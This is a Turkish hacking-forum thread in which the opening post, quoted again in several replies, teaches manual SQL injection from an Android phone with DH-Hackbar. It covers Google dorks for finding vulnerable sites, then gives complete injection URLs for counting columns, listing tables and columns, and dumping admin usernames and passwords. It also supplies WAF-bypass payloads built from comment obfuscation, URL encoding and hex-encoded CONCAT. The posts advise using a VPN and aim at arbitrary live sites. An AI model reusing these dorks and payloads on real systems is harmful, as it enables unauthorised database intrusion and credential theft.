Manuel SQL Injection For Android

Liprow

Katılımcı Üye
15 Şub 2021
415
532
Manuel SQL Injection For Android

Merhaba

TURKHACKTEAM

Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.


Gerekli Araçlar

DH-HACKBAR
Termux
Her hangi bir VPN


Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.

488e13b8b3e0.jpg


SQL DORK

Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.

Örneğin: inurl:
news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.

Dork kısmında da VPN kullanmanızı öneririm.


DH-HACKBAR

Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.

Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.

Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.

Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.

Union : Birden fazla "select" komutunun çalışmasını sağlar.

Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.

Başlangıç düzeyinde 3 hedef gösterelim.

1. Hedef (Easy)



"id=1" yazan yere "
' " parametresini ekleyerek açık olup olmadığını kontrol edelim.

Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.

YxfqI.jpg


Beklenen hatayı aldık.

https://hedefsite.net/product.php?id=1' order by 1 -- -

Her hangi bir değişiklik olmadığı için "
' " parametresini silelim.

https://hedefsite.net/product.php?id=1 order by 1 -- -

zNQkv7x1WH3.jpg



Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.


7GsKX6CNh.jpg


Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.

O yüzden;

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -

Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.

svIcHlVqRdA.jpg


Database ismini öğrenelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -

Ang1f_-.jpg


Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -

c7d56d02d932.jpg


Bazı istisnalar hariç username ve password kısmı genelde
admin, admins, user, users vb. tablolarda bulunur.

Admin'e bakmak için column komutunu kullanalım.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -


8c477c2337bd.jpg



Son olarak da datayı dump edelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -


eebab38bac7a.jpg



2. Hedef (Medium)

Biraz sohbet.


Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.

Kısacası "Ne kadar emek, O kadar ekmek." kafası.

Hadi! Go.

SQL Injection kendi içinde türlere ayrılmakta.

Bu örnekte Blind SQL Injection'u inceleyelim.


3c75d55e351c.jpg


Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.


b21bb2a680bf.jpg


Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.

http://hedefsite.edu.in/news.php?id=12' order by 1 --+

92885bbc8272.jpg


Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.


http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+

60491e994f07.jpg


Gördüğünüz gibi bir waf konulmuş.


Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.


http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+

50c45b9d2749.jpg


Şimdi table çekelim.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+


303f903195b4.jpg


Column name.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+

70d61972518d.jpg


Data dump.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+

0fc52f05c8ec.jpg



3.Hedef (Hard)

Bu örnekte hedefle biraz dost olmak lazım.

Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.

Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.


1. Aşama (Teşhis)

Mevcut hedefin bir dorku olduğunu biliyoruz.


Hedefimizin dorku şu olsun:
news.php?id=1

Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.


Normalde beklentimiz şu :


Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.

Yönlendirmeyi kapata bilirmiyiz?
Evet.


Deneyelim.

5e95a2d44fbd.png


Yönlendirmeyi engellesekde bir sonuç alamıyoruz.

Bu kısmı şu şekilde düşüne biliriz;

Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.

Atladığımız nokta ALDATILDIK.

Dostumuzun röntgen sonuçlarına bakalım yani
view source...

12569a835a6d.jpg


Gördüğünüz gibi "
id" değeri farkı var.


Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.

Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.


Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.

2. Aşama (Tedavi)

Order by kısmı waf'lı olduğu için bypass'ladık.

https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+










d4db4e562c12.jpg


"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --

Table kısmına bakalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+


390a625c3167.jpg


Table ve column çekerken genelde bypass'lanacak yerler:

INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name

column_name

Ben size yinede bir tüyo verim.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=
CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+

Tek tek denemek yerine
"
/*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.

Lakin bu dostumuzda farklı bir durum var.

Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."

Yani anlayacağınız hex kodlaması istiyor.

DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+


99b66a8e3975.jpg


3.Aşama (Sonuç)

Sonuç şu arkadaşlar.


SADECE BAŞARMAK İSTEYİN
VE
YAPIN


Esenlikler dilerim.

İYİ FORUMLAR


Dikkat

"hedefsite" formatında hiç bir siteye zarar verilmemiştir.

Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
 
Son düzenleme:

Liprow

Katılımcı Üye
15 Şub 2021
415
532
Eline Sağlık tht'de böyle konuların olması gerek malesef gel gör ki,
Emek verilmiş bir konu başarılarının devamını diliyorum dostum.
Ellerine emegine sağlık Liprow. Bir çok kişinin faydalanabileceği bir konu
Eline sağlık çok güzel bir konu. Beklediğim konu:)
Emeğine Sağlık.
Elinize sağlık gayet açık ve güzel anlatmışsınız teşekkürler.

Teşekkürler...
 

EX

Deneyimli Moderatör
29 Mar 2020
1,921
5
1,256
Eline emeğine sağlık. Devamlılığını dilerim. Harika ;)
 

LexonQ

Yeni üye
15 May 2022
38
20
Manuel SQL Injection For Android

Merhaba

TURKHACKTEAM

Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.


Gerekli Araçlar

DH-HACKBAR
Termux
Her hangi bir VPN


Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.

488e13b8b3e0.jpg


SQL DORK

Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.

Örneğin: inurl:
news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.

Dork kısmında da VPN kullanmanızı öneririm.


DH-HACKBAR

Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.

Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.

Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.

Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.

Union : Birden fazla "select" komutunun çalışmasını sağlar.

Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.

Başlangıç düzeyinde 3 hedef gösterelim.

1. Hedef (Easy)



"id=1" yazan yere "
' " parametresini ekleyerek açık olup olmadığını kontrol edelim.

Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.

YxfqI.jpg


Beklenen hatayı aldık.

https://hedefsite.net/product.php?id=1' order by 1 -- -

Her hangi bir değişiklik olmadığı için "
' " parametresini silelim.

https://hedefsite.net/product.php?id=1 order by 1 -- -

zNQkv7x1WH3.jpg



Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.


7GsKX6CNh.jpg


Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.

O yüzden;

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -

Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.

svIcHlVqRdA.jpg


Database ismini öğrenelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -

Ang1f_-.jpg


Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -

c7d56d02d932.jpg


Bazı istisnalar hariç username ve password kısmı genelde
admin, admins, user, users vb. tablolarda bulunur.

Admin'e bakmak için column komutunu kullanalım.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -


8c477c2337bd.jpg



Son olarak da datayı dump edelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(username,0x203a3a20,0x3a,0x203a3a20,password+SEPARATOR+0x3c62723e)+FROM+admin),3,4 -- -


eebab38bac7a.jpg



2. Hedef (Medium)

Biraz sohbet.


Başta söylediğim gibi altyapı olmadan çok bir ilerleme kaydedemezsiniz, lakin;
Sen altyapıyı hallettin mi?
derseniz.
Şuan onun için çaba harcıyorum diye bilirim.
Altyapıdan kastın ne?
Örneğin her hangi bir programlama dili bilmek.
Programlama dilleri farklılık göstersede merak ettiğiniz, yapmak istediğiniz, ilgilendiğiniz şeylerde yabancılık çekmiyorsunuz.
Şunu nasıl yaptı? sorusundan ziyade.
Şunu şöyle yapmış olmalı fikrine sahip olabiliyorsunuz.
Bu yüzden Manuel SQL Injection penetrasyon testleri arasında en zevk aldığım kısım.
Sebebi de penetrasyon testlerinde kullanılan bir çok tool'un aksine.
Tamamen yüzeysel bir şekilde olması.

Kısacası "Ne kadar emek, O kadar ekmek." kafası.

Hadi! Go.

SQL Injection kendi içinde türlere ayrılmakta.

Bu örnekte Blind SQL Injection'u inceleyelim.


3c75d55e351c.jpg


Blind SQL Injection site yapısında belirgin bir değişim gözlemlersiniz.
Bu değişim tüm yapıyı ya da küçük bir yapıyı kapsaya bilir.


b21bb2a680bf.jpg


Gördüğünüz gibi her hangi bir hata vermedi lakin site yapısı değişti.

http://hedefsite.edu.in/news.php?id=12' order by 1 --+

92885bbc8272.jpg


Hedef sitenin kolon sayısı 5
Biraz seri ilerleyelim.


http://hedefsite.edu.in/news.php?id=12' UNION SELECT 1,2,3,4,5 --+

60491e994f07.jpg


Gördüğünüz gibi bir waf konulmuş.


Waf bypass ile ilgili ilerleyen zamanda geniş çaplı bir konu açmayı düşünüyorum.
Şimdilik idare edin.


http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,2,3,4,5 --+

50c45b9d2749.jpg


Şimdi table çekelim.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4,5 --+


303f903195b4.jpg


Column name.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x61646d696e)AND(0x00)IN(@z:=CONCAT(0x20,@z,COLUMN_NAME,0x3c62723e))))z),3,4,5 --+

70d61972518d.jpg


Data dump.

http://hedefsite.edu.in/news.php?id=-12' +or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow 1,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x203a3a20,0x3a,0x203a3a20,password,0x3c62723e))))x),3,4,5 --+

0fc52f05c8ec.jpg



3.Hedef (Hard)

Bu örnekte hedefle biraz dost olmak lazım.

Bu dostluk çıkar dostluğu.
Yabancılık çekmeyenler vardır elbet.

Bu dostumuzun hasta olduğunu farz edelim ve 3 aşamada inceleyelim.


1. Aşama (Teşhis)

Mevcut hedefin bir dorku olduğunu biliyoruz.


Hedefimizin dorku şu olsun:
news.php?id=1

Mevcut dork ile tarama yaptığımızda karşımıza çıkan bir hedefe bakalım.


Normalde beklentimiz şu :


Lakin hedef .com olarak bitiriyor ve "news.php?id=1" kısmını eklesek de anlık yönlendirme yaparak tekrardan "hedefsite.com" oluyor.

Yönlendirmeyi kapata bilirmiyiz?
Evet.


Deneyelim.

5e95a2d44fbd.png


Yönlendirmeyi engellesekde bir sonuç alamıyoruz.

Bu kısmı şu şekilde düşüne biliriz;

Dostumuz bize "Şu nedenlerden hasta olmuş olabilirim" dedi.
Bizde ona göre ilerledik.

Atladığımız nokta ALDATILDIK.

Dostumuzun röntgen sonuçlarına bakalım yani
view source...

12569a835a6d.jpg


Gördüğünüz gibi "
id" değeri farkı var.


Peki bu "id" değeri yönlendirmeyi etkileyecek mi?
Hayır. Hedef tekrardan yönlendirme yapacaktır o yüzden yönlendirmeyi kapatalım.

Not: Bu durumda hedef sahibi yönlendirmeyi karakter filtrelemesi yaparak sağlamış.
Örneğin: .htacsess dosyasından sql injection da kullanılan karakterleri filtreleyerek anasayfaya yönlendirme yapabilir.


Aslında tüm mesele deneme/yanılmaya bakıyor bu da zamanla olur.

2. Aşama (Tedavi)

Order by kısmı waf'lı olduğu için bypass'ladık.

https://ww.w.hedefsite.com/news.php?id=8 +AND+MOD(29,9)+/*!50000ORDER/**_**/*/+/*!50000BY/**_**/*/+11 --+










d4db4e562c12.jpg


"UNION SELECT"
kısmıda waf'lı olduğu için bypass'layalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1','2','3','4','5','6','7','8','9','10','11' --

Table kısmına bakalım.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),'3','4','5','6','7','8','9','10','11' --+


390a625c3167.jpg


Table ve column çekerken genelde bypass'lanacak yerler:

INFORMATION_SCHEMA
FROM
WHERE
SELECT
GROUP_CONCAT
table_name

column_name

Ben size yinede bir tüyo verim.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=
CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+

Tek tek denemek yerine
"
/*!50000CoNcAt*/ "
bu şekil yaparak %90 tepki alırsınız.

Lakin bu dostumuzda farklı bir durum var.

Bypass istediği kesin ama bypass dışında diyor ki:
Bu kısımda bana komut vere bilmen için "komut sistemleri arasında sayı sistemi dönüşümü yap."

Yani anlayacağınız hex kodlaması istiyor.

DH-HACKBAR' da hex kodlaması yapa bileceğiniz bir bölüm yok.
Pc üzerinde ki hackbarlar da mevcut.

https://ww.w.hedefsite.com/news.php?id=-8 %55nion+%73elect '1',(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=/*!50000436F4E634174*/(0x20,@z,TABLE_NAME,0x3c62723e))))z),'3','4','5','6','7','8','9','10','11' --+


99b66a8e3975.jpg


3.Aşama (Sonuç)

Sonuç şu arkadaşlar.


SADECE BAŞARMAK İSTEYİN
VE
YAPIN


Esenlikler dilerim.

İYİ FORUMLAR


Dikkat

"hedefsite" formatında hiç bir siteye zarar verilmemiştir.

Konuya hitaben yapacağınız tüm aktivitelerde SORUMLULUK SİZE AİTTİR.
Eline sağlık.
 

arastirmaci02

Yeni üye
7 Şub 2023
1
1
Manuel SQL Injection For Android

Merhaba

TURKHACKTEAM

Konuya geçmeden önce söylemek istediğim bir kaç husus var;
Bu tür penetrasyon testlerinde ezber niteliğinde ilerlendiği takdirde, belirli bir düzeyden sonra tıkanacağınızı unutmayın.
Nacizane tavsiyem temelden başlayıp yazılımsal bir kafa yapısına sahip olmanız.


Gerekli Araçlar

DH-HACKBAR
Termux
Her hangi bir VPN


Not: Termux ile alakalı bir şey göstermeyeceğim lakin SQLMAP, WPScan, HashCat vb. bir çok aracı termux üzerinden kullana bilirsiniz.

488e13b8b3e0.jpg


SQL DORK

Konuya hakim olan ya da olacak olan kişilerin, şüphesiz en ilgi duyduğu kısım Dork kısmıdır.
Ne kadar farklı ve kaliteli Dork oluşturursanız, o kadar farklılıkda ve kalitede hedef bulma şansınız artar.

Örneğin: inurl:
news.php?id=12 site:"com"
^ ^ ^ ^ ^
Gösterilen bölümleri değiştirerek bir çok hedef bula bilirsiniz.

Dork kısmında da VPN kullanmanızı öneririm.


DH-HACKBAR

Uygulamalı bir şekilde ilerleyelim.
Kullanılan komutların ne işe yaradığını bilmekte fayda var.

Order By : Verileri artan ya da azalan düzende sıralamak için kullanılır.

Group By : Tabloda ki verilere göre kolonları gruplandırma yöntemi denilebilir.

Select : Bir veritabanın'da yer alan bir veya daha fazla tablodan istenen satır değerlerini almak için kullanılır.

Union : Birden fazla "select" komutunun çalışmasını sağlar.

Where : Sadece belirli kriterlere göre sorgulama yapmak için kullanılır.

Başlangıç düzeyinde 3 hedef gösterelim.

1. Hedef (Easy)



"id=1" yazan yere "
' " parametresini ekleyerek açık olup olmadığını kontrol edelim.

Not: Yanlış kodlama PHP ve ASP sistemlerinde ID değerinde oluşur.

YxfqI.jpg


Beklenen hatayı aldık.

https://hedefsite.net/product.php?id=1' order by 1 -- -

Her hangi bir değişiklik olmadığı için "
' " parametresini silelim.

https://hedefsite.net/product.php?id=1 order by 1 -- -

zNQkv7x1WH3.jpg



Şimdi "order by" komutunun yanında ki "1" sayısını hata alana kadar arttıralım.


7GsKX6CNh.jpg


Hatamız 5 sayısında belirdiğine göre 1 ile 5 arasında bir sayı almamız gerek.

O yüzden;

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,2,3,4 -- -

Not: Sayıyı göremediğiniz zaman id değerinin önüne "-" parametresini koyun.

svIcHlVqRdA.jpg


Database ismini öğrenelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,database(),3,4 -- -

Ang1f_-.jpg


Database ismini de öğrendiğimize göre şimdi table kısmına geçelim.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT(@z)FROM(SELECT(@z:=0x00),(SELECT(@z)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@z:=CONCAT(0x20,@z,TABLE_NAME,0x3c62723e))))z),3,4 -- -

c7d56d02d932.jpg


Bazı istisnalar hariç username ve password kısmı genelde
admin, admins, user, users vb. tablolarda bulunur.

Admin'e bakmak için column komutunu kullanalım.

https://hedefsite.net/product.php?id=-1 UNION SELECT 1,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e+AND+TABLE_SCHEMA=DATABASE()),3,4 -- -


8c477c2337bd.jpg



Son olarak da datayı dump edelim.

